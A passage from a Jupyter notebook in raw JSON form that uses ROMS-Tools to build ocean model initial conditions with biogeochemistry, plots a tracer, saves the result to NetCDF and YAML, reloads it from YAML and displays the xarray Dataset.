rZY4IeBzNq8HIO7E3oNlSpUiV27NiBvb19JkUthBBCCPE2SaOESCFjY2OWLFnCyJEjAZg42ptpkzbw+OFzIiOjdWsFKIqCj/cvfFJjEAf2nsXU1IRvv/2Wc+fOUbJkSTUvQQghhFCFRo9/RPrJGwAhUkGj0TBjxgxsbGwYM2YM82ZsYd6MLQCYm5tiY2uJqZkJDwOfAVC1RinWeW+nYsWKaoYthBBCqExfM/hIAqAP8gZAiDQYPXo0K1asoEiRIpiYJOTR0dGxPAl6ycPAZ1hYWDB79mzOnb4pjX8hhBBCGBR5AyBEGvXt25e+ffuiKAqvXr0iODhYt5UvX176+gshhBA6+hrAK8+u9UESACHSSaPRkDdvXvLmzUvx4sXVDkcIIYQwQNIFyJBIGiWEEEIIIUQOIm8AhBBCCCFEhtJghEYPz531UYeQBEAIIYQQQmQ46QJkSCSNEkIIIYQQIgeRNwBCCCGEECITyNN7QyEJgBBCCCGEyGAyDaghke+iEEIIIYTI8YKDg3F1dcXKygobGxt69+7Nq1ev3nlMVFQUbm5u5M+fH0tLS9q2bcuTJ08SlRk0aBA1atTA3NycqlWrZuAVpJwkAEIIIYQQIkNpNBq9bRnF1dWVa9eu4efnx549ezh+/Dj9+vV75zFDhw5l9+7dbNmyhWPHjvH48WPatGnzVrlevXrRsWPHjAo91aQLkBBCCCGEyGCGPQvQjRs38PX15ezZs9SsWROAhQsX0rRpU2bPno2Dg8Nbx4SGhrJ69Wp8fHz4/PPPAVizZg3lypXj1KlT1KlTB4AFCxYA8OzZMy5fvpwh8aeWvAEQQgghhBBZSlhYWKItOjo6XfX5+/tjY2Oja/wDuLi4YGRkxOnTp5M8JiAggNjYWFxcXHT7ypYtS7FixfD3909XPBlNEgAhhBBCCJHBjPS4QdGiRbG2ttZtXl5e6YouKCiIQoUKJdpnYmJCvnz5CAoKSvYYMzMzbGxsEu0vXLhwsscYCukCJIQQQgghMph+uwA9ePAAKysr3V5zc/MkS3t6ejJjxox31njjxg09xJW1SAIghBBCCCGyFCsrq0QJQHKGDRtGjx493lmmZMmS2NnZ8fTp00T74+LiCA4Oxs7OLsnj7OzsiImJISQkJNFbgCdPniR7jKGQBEAIIYQQQmQoDUZo9NDzPLV1FCxYkIIFC763nLOzMyEhIQQEBFCjRg0ADh8+jFarxcnJKcljatSogampKYcOHaJt27YA3Lp1i8DAQJydnVMVZ2aTBEAIIYQQQmQww54FqFy5cjRp0oS+ffuybNkyYmNjcXd3p1OnTroZgB49ekTDhg358ccfqV27NtbW1vTu3RsPDw/y5cuHlZUVAwcOxNnZWTcDEMAff/zBq1evCAoK4vXr11y8eBGA8uXLY2ZmliHX8z6SAKSAoihAwohzIYQQQghD9qa98qb9YgjCwsINqp6kbNiwAXd3dxo2bIiRkRFt27bVTeEJEBsby61bt4iMjNTtmzdvnq5sdHQ0jRs3ZsmSJYnq7dOnD8eOHdN9Xa1aNQDu3btHiRIlMux63kWjGNLfDgP18OFDihYtqnYYQgghhBAp9uDBA4oUKaJqDFFRUTg6Oup1Vhw7Ozvu3buHhYWF3urMaSQBSAGtVsvjx4/Jmzcv4eHhFC1a9K3R58KwhYWFyX3LYuSeZT1yz7ImuW9Zz/vumaIohIeH4+DggJGR+jO+R0VFERMTo7f6zMzMpPGfTtIFKAWMjIx0GfSbJahTOvpcGBa5b1mP3LOsR+5Z1iT3Let51z2ztrbO5GiSZ2FhIQ12A6N+WiiEEEIIIYTINJIACCGEEEIIkYNIApBK5ubmTJw4MdkV54RhkvuW9cg9y3rknmVNct+yHrlnIr1kELAQQgghhBA5iLwBEEIIIYQQIgeRBEAIIYQQQogcRBIAIYQQQgghchBJAIQQQgghhMhBJAFIpcWLF1OiRAksLCxwcnLizJkzaock/ubl5UWtWrXImzcvhQoVolWrVty6dStRmaioKNzc3MifPz+Wlpa0bduWJ0+eqBSx+K/p06ej0WgYMmSIbp/cM8P06NEjunTpQv78+cmVKxeVKlXi3Llzus8VRWHChAnY29uTK1cuXFxcuH37tooR52zx8fGMHz8eR0dHcuXKxYcffsjkyZP59zwgcs/Ud/z4cVq0aIGDgwMajYYdO3Yk+jwl9yg4OBhXV1esrKywsbGhd+/evHr1KhOvQmQFkgCkwqZNm/Dw8GDixImcP3+eKlWq0LhxY54+fap2aAI4duwYbm5unDp1Cj8/P2JjY2nUqBERERG6MkOHDmX37t1s2bKFY8eO8fjxY9q0aaNi1OKNs2fPsnz5cipXrpxov9wzw/Py5Uvq1auHqakp+/fv5/r168yZMwdbW1tdmZkzZ7JgwQKWLVvG6dOnyZMnD40bNyYqKkrFyHOuGTNmsHTpUhYtWsSNGzeYMWMGM2fOZOHChboycs/UFxERQZUqVVi8eHGSn6fkHrm6unLt2jX8/PzYs2cPx48fp1+/fpl1CSKrUESK1a5dW3Fzc9N9HR8frzg4OCheXl4qRiWS8/TpUwVQjh07piiKooSEhCimpqbKli1bdGVu3LihAIq/v79aYQpFUcLDw5XSpUsrfn5+SoMGDZTBgwcriiL3zFCNGjVKqV+/frKfa7Vaxc7OTpk1a5ZuX0hIiGJubq789NNPmRGi+I9mzZopvXr1SrSvTZs2iqurq6Iocs8MEaBs375d93VK7tH169cVQDl79qyuzP79+xWNRqM8evQo02IXhk/eAKRQTEwMAQEBuLi46PYZGRnh4uKCv7+/ipGJ5ISGhgKQL18+AAICAoiNjU10D8uWLUuxYsXkHqrMzc2NZs2aJbo3IPfMUO3atYuaNWvSvn17ChUqRLVq1Vi5cqXu83v37hEUFJTovllbW+Pk5CT3TSV169bl0KFD/P777wBcunSJEydO8OWXXwJyz7KClNwjf39/bGxsqFmzpq6Mi4sLRkZGnD59OtNjFobLRO0Asornz58THx9P4cKFE+0vXLgwN2/eVCkqkRytVsuQIUOoV68eFStWBCAoKAgzMzNsbGwSlS1cuDBBQUEqRCkANm7cyPnz5zl79uxbn8k9M0x3795l6dKleHh4MGbMGM6ePcugQYMwMzOje/fuunuT1M9LuW/q8PT0JCwsjLJly2JsbEx8fDxTp07F1dUVQO5ZFpCSexQUFEShQoUSfW5iYkK+fPnkPopEJAEQ2ZKbmxtXr17lxIkTaoci3uHBgwcMHjwYPz8/LCws1A5HpJBWq6VmzZpMmzYNgGrVqnH16lWWLVtG9+7dVY5OJGXz5s1s2LABHx8fKlSowMWLFxkyZAgODg5yz4TIgaQLUAoVKFAAY2Pjt2YfefLkCXZ2dipFJZLi7u7Onj17OHLkCEWKFNHtt7OzIyYmhpCQkETl5R6qJyAggKdPn1K9enVMTEwwMTHh2LFjLFiwABMTEwoXLiz3zADZ29tTvnz5RPvKlStHYGAggO7eyM9LwzFixAg8PT3p1KkTlSpVomvXrgwdOhQvLy9A7llWkJJ7ZGdn99bEJHFxcQQHB8t9FIlIApBCZmZm1KhRg0OHDun2abVaDh06hLOzs4qRiTcURcHd3Z3t27dz+PBhHB0dE31eo0YNTE1NE93DW7duERgYKPdQJQ0bNuTKlStcvHhRt9WsWRNXV1fd/8s9Mzz16tV7a4rd33//neLFiwPg6OiInZ1dovsWFhbG6dOn5b6pJDIyEiOjxL/yjY2N0Wq1gNyzrCAl98jZ2ZmQkBACAgJ0ZQ4fPoxWq8XJySnTYxYGTO1RyFnJxo0bFXNzc8Xb21u5fv260q9fP8XGxkYJCgpSOzShKMqAAQMUa2tr5ejRo8pff/2l2yIjI3Vl+vfvrxQrVkw5fPiwcu7cOcXZ2VlxdnZWMWrxX/+eBUhR5J4ZojNnzigmJibK1KlTldu3bysbNmxQcufOraxfv15XZvr06YqNjY2yc+dO5fLly0rLli0VR0dH5fXr1ypGnnN1795d+eCDD5Q9e/Yo9+7dU7Zt26YUKFBAGTlypK6M3DP1hYeHKxcuXFAuXLigAMrcuXOVCxcuKH/++aeiKCm7R02aNFGqVaumnD59Wjlx4oRSunRppXPnzmpdkjBQkgCk0sKFC5VixYopZmZmSu3atZVTp06pHZL4G5DktmbNGl2Z169fK998841ia2ur5M6dW2ndurXy119/qRe0eMt/EwC5Z4Zp9+7dSsWKFRVzc3OlbNmyyooVKxJ9rtVqlfHjxyuFCxdWzM3NlYYNGyq3bt1SKVoRFhamDB48WClWrJhiYWGhlCxZUhk7dqwSHR2tKyP3TH1HjhxJ8vdY9+7dFUVJ2T168eKF0rlzZ8XS0lKxsrJSevbsqYSHh6twNcKQaRTlX8sACiGEEEIIIbI1GQMghBBCCCFEDiIJgBBCCCGEEDmIJABCCCGEEELkIJIACCGEEEIIkYNIAiCEEEIIIUQOIgmAEEIIIYQQOYgkAEIIIYQQQuQgkgAIIYQQQgiRg0gCIIQQWUCPHj1o1aqV2mEIIYTIBiQBEEKINDp69CgajYaQkBC1QxFCCCFSTBIAIYQwcLGxsWqHIIQQIhuRBEAIId5Bq9Xi5eWFo6MjuXLlokqVKvz888/cv3+fzz77DABbW1s0Gg09evQAwNfXl/r162NjY0P+/Plp3rw5d+7cSdH57t+/j0ajYdOmTTRo0AALCws2bNig+3z27NnY29uTP39+3NzcEiUHL1++pFu3btja2pI7d26+/PJLbt++rb9vhhBCiGxBEgAhhHgHLy8vfvzxR5YtW8a1a9cYOnQoXbp04c8//2Tr1q0A3Lp1i7/++ovvv/8egIiICDw8PDh37hyHDh3CyMiI1q1bo9VqU3xeT09PBg8ezI0bN2jcuDEAR44c4c6dOxw5coS1a9fi7e2Nt7e37pgePXpw7tw5du3ahb+/P4qi0LRpU3mDIIQQIhGNoiiK2kEIIYQhio6OJl++fPzyyy84Ozvr9vfp04fIyEj69evHZ599xsuXL7GxsUm2nufPn1OwYEGuXLlCxYoV33nO+/fv4+joyPz58xk8eLBuf48ePTh69Ch37tzB2NgYgA4dOmBkZMTGjRu5ffs2ZcqU4bfffqNu3boAvHjxgqJFi7J27Vrat2+fju+EEEKI7MRE7QCEEMJQ/fHHH0RGRvLFF18k2h8TE0O1atWSPe727dtMmDCB06dP8/z5c92T/8DAwPcmAG/UrFnzrX0VKlTQNf4B7O3tuXLlCgA3btzAxMQEJycn3ef58+fno48+4saNGyk6pxBCiJxBEgAhhEjGq1evANi7dy8ffPBBos/Mzc2T7dffokULihcvzsqVK3FwcECr1VKxYkViYmJSfO48efK8tc/U1DTR1xqNJlXdioQQQgiQBEAIIZJVvnx5zM3NCQwMpEGDBm99/uDBAwDi4+N1+168eMGtW7dYuXIlH3/8MQAnTpzI8FjLlStHXFwcp0+fTtQF6NatW5QvXz7Dzy+EECLrkARACCGSkTdvXoYPH87QoUPRarXUr1+f0NBQfvvtN6ysrHBxcUGj0bBnzx6aNm1Krly5sLW1JX/+/KxYsQJ7e3sCAwPx9PTM8FhLly5Ny5Yt6du3L8uXLydv3rx4enrywQcf0LJlyww/vxBCiKxDZgESQoh3mDx5MuPHj8fLy4ty5crRpEkT9u7di6OjIx988AHffvstnp6eFC5cGHd3d92g3ICAACpWrMjQoUOZNWtWpsS6Zs0aatSoQfPmzXF2dkZRFPbt2/dW1yEhhBA5m8wCJIQQQgghRA4ibwCEEEIIIYTIQSQBEEKITDRt2jQsLS2T3L788ku1wxNCCJEDSBcgIYTIRMHBwQQHByf5Wa5cud6ablQIIYTQN0kAhBBCCCGEyEGkC5AQQgghhBA5iCQAQgghhBBC5CCSAAghhBBCCJGDSAIghBBCCCFEDiIJgBBCCCGEEDmIJABCCCGEEELkIJIACCGEEEIIkYP8H23kYFxm0GuCAAAAAElFTkSuQmCC", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "initial_conditions_with_bgc.plot(\"diatC\", xi=0, layer_contours=True)" ] }, { "cell_type": "markdown", "id": "c6f8afb9-e839-4b0a-a130-4020867ef33e", "metadata": {}, "source": [ "## Saving as NetCDF or YAML file" ] }, { "cell_type": "markdown", "id": "e632be6e-3900-466c-b69e-632464f2e4b4", "metadata": {}, "source": [ "We can now save the dataset as a NetCDF file." ] }, { "cell_type": "code", "execution_count": 27, "id": "613e7c27-1236-48e4-87a9-90f66c8b8b95", "metadata": { "tags": [] }, "outputs": [], "source": [ "filepath = \"/pscratch/sd/n/nloose/initial_conditions/my_initial_conditions.nc\"" ] }, { "cell_type": "code", "execution_count": 28, "id": "7d9305f6-21bd-41d4-81e8-5cc5c47f3810", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 10.87 s\n", "CPU times: user 21min 38s, sys: 11.4 s, total: 21min 49s\n", "Wall time: 11.7 s\n" ] } ], "source": [ "with ProgressBar():\n", " %time initial_conditions_with_bgc.save(filepath)" ] }, { "cell_type": "markdown", "id": "93126a60-0f5d-4818-a3ab-13df0410e638", "metadata": {}, "source": [ "We can also export the parameters of our `InitialConditions` object to a YAML file." ] }, { "cell_type": "code", "execution_count": 29, "id": "531af359-a960-4241-bdbe-390492488304", "metadata": { "tags": [] }, "outputs": [], "source": [ "yaml_filepath = \"/pscratch/sd/n/nloose/initial_conditions/my_initial_conditions.yaml\"" ] }, { "cell_type": "code", "execution_count": 30, "id": "3d2eb23d-7191-4294-85e7-7e735e99e2f6", "metadata": { "tags": [] }, "outputs": [], "source": [ "initial_conditions_with_bgc.to_yaml(yaml_filepath)" ] }, { "cell_type": "code", "execution_count": 31, "id": "8f12b7af-b035-4e4c-a12c-f08d3f2d9b5e", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "---\n", "roms_tools_version: 0.1.dev138+dirty\n", "---\n", "Grid:\n", " N: 100\n", " center_lat: 61\n", " center_lon: -21\n", " hc: 300.0\n", " hmin: 5.0\n", " nx: 100\n", " ny: 100\n", " rot: 20\n", " size_x: 1800\n", " size_y: 2400\n", " theta_b: 2.0\n", " theta_s: 5.0\n", " topography_source: ETOPO5\n", "InitialConditions:\n", " bgc_source:\n", " climatology: true\n", " name: CESM_REGRIDDED\n", " path: /global/cfs/projectdirs/m4746/Datasets/CESM_REGRIDDED/CESM-climatology_lowres_regridded.nc\n", " ini_time: '2012-01-02T00:00:00'\n", " model_reference_date: '2000-01-01T00:00:00'\n", " source:\n", " climatology: false\n", " name: GLORYS\n", " path: /global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120102.nc\n", "\n" ] } ], "source": [ "# Open and read the YAML file\n", "with open(yaml_filepath, \"r\") as file:\n", " file_contents = file.read()\n", "\n", "# Print the contents\n", "print(file_contents)" ] }, { "cell_type": "markdown", "id": "e46b0ff0-979a-41dd-8a47-a2f91226e5b0", "metadata": {}, "source": [ "## Creating initial conditions from an existing YAML file" ] }, { "cell_type": "code", "execution_count": 32, "id": "fd3bc561-5dab-4aa1-a51a-d52e382c526b", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Selected time entry closest to the specified start_time (2012-01-02 00:00:00) within the range [2012-01-02 00:00:00, 2012-01-03 00:00:00]: ['2012-01-02T12:00:00.000000000']\n", "CPU times: user 2min 6s, sys: 912 ms, total: 2min 7s\n", "Wall time: 15.9 s\n" ] } ], "source": [ "%time the_same_initial_conditions_with_bgc = InitialConditions.from_yaml(yaml_filepath, use_dask=True)" ] }, { "cell_type": "code", "execution_count": 33, "id": "e122c4de-1856-42a4-a0ff-23f8f4de47f9", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" 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display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 154MB\n", "Dimensions: (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102,\n", " xi_u: 101, eta_v: 101, s_w: 101)\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho, xi_u, eta_v, s_w\n", "Data variables: (12/42)\n", " temp (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " salt (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " u (ocean_time, s_rho, eta_rho, xi_u) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 101), meta=np.ndarray&gt;\n", " v (ocean_time, s_rho, eta_v, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 101, 102), meta=np.ndarray&gt;\n", " zeta (ocean_time, eta_rho, xi_rho) float32 42kB -0.4969 ... -0.9301\n", " ubar (ocean_time, eta_rho, xi_u) float32 41kB dask.array&lt;chunksize=(1, 102, 101), meta=np.ndarray&gt;\n", " ... ...\n", " diazFe (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " spCaCO3 (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " zooC (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " w (ocean_time, s_w, eta_rho, xi_rho) float32 4MB 0.0 0.0 ... 0.0\n", " Cs_r (s_rho) float32 400B -0.992 -0.9753 ... -8.89e-05 -9.874e-06\n", " Cs_w (s_w) float32 404B -1.0 -0.9837 -0.9667 ... -3.95e-05 0.0\n", "Attributes:\n", " title: ROMS initial conditions file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " ini_time: 2012-01-02 00:00:00\n", " model_reference_date: 2000-01-01 00:00:00\n", " source: GLORYS\n", " bgc_source: CESM_REGRIDDED\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-46cfa512-c225-4db5-95aa-405ad68367b2' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-46cfa512-c225-4db5-95aa-405ad68367b2' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>ocean_time</span>: 1</li><li><span>s_rho</span>: 100</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_v</span>: 101</li><li><span>s_w</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-d1aba589-5ea6-482b-92b2-591d60f2e8f3' class='xr-section-summary-in' type='checkbox' checked><label for='section-d1aba589-5ea6-482b-92b2-591d60f2e8f3' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-02T12:00:00</div><input id='attrs-5bc78a95-81c4-47a5-8850-910bb7e2c9f3' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-5bc78a95-81c4-47a5-8850-910bb7e2c9f3' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-04358645-aa19-42d9-9531-ff2b31529b71' class='xr-var-data-in' type='checkbox'><label for='data-04358645-aa19-42d9-9531-ff2b31529b71' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-02T12:00:00.000000000&#x27;], dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>ocean_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>3.788e+08</div><input id='attrs-1c9fd9c3-7511-4cd2-8444-7446a0563390' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-1c9fd9c3-7511-4cd2-8444-7446a0563390' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-9c385d3f-f938-438d-aaf6-b364549ab15f' class='xr-var-data-in' type='checkbox'><label for='data-9c385d3f-f938-438d-aaf6-b364549ab15f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>seconds since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>seconds</dd></dl></div><div class='xr-var-data'><pre>array([3.788208e+08])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-bfbf25d3-969a-474d-b23c-23c435687b9d' class='xr-section-summary-in' type='checkbox' ><label for='section-bfbf25d3-969a-474d-b23c-23c435687b9d' class='xr-section-summary' >Data variables: <span>(42)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>temp</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-c2e250d6-d7fc-4a69-9b72-bb94260c8311' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c2e250d6-d7fc-4a69-9b72-bb94260c8311' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-99b819b4-60e5-4f95-90af-f27a769e4baf' class='xr-var-data-in' type='checkbox'><label for='data-99b819b4-60e5-4f95-90af-f27a769e4baf' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 73 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" 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class='xr-var-name'><span>salt</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-e7480188-3983-48aa-ad7d-06a19ce186ac' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e7480188-3983-48aa-ad7d-06a19ce186ac' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-bd8bfaec-c96a-441e-9776-5dfbdee1b353' class='xr-var-data-in' type='checkbox'><label for='data-bd8bfaec-c96a-441e-9776-5dfbdee1b353' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 73 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", 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transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>u</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 101), meta=np.ndarray&gt;</div><input id='attrs-b6a917ee-e66b-495a-855c-4e66854dc2f2' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b6a917ee-e66b-495a-855c-4e66854dc2f2' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7a94d7ab-e5df-4c3b-a2cb-8d9c2f89b8c0' class='xr-var-data-in' type='checkbox'><label for='data-7a94d7ab-e5df-4c3b-a2cb-8d9c2f89b8c0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.93 MiB </td>\n", " <td> 3.93 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 101) </td>\n", " <td> (1, 100, 102, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 106 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"428\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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for='data-ac7c7bb2-10aa-4b66-8baf-e205b34538a7' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.93 MiB </td>\n", " <td> 3.93 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 101, 102) </td>\n", " <td> (1, 100, 101, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 106 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"238\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" 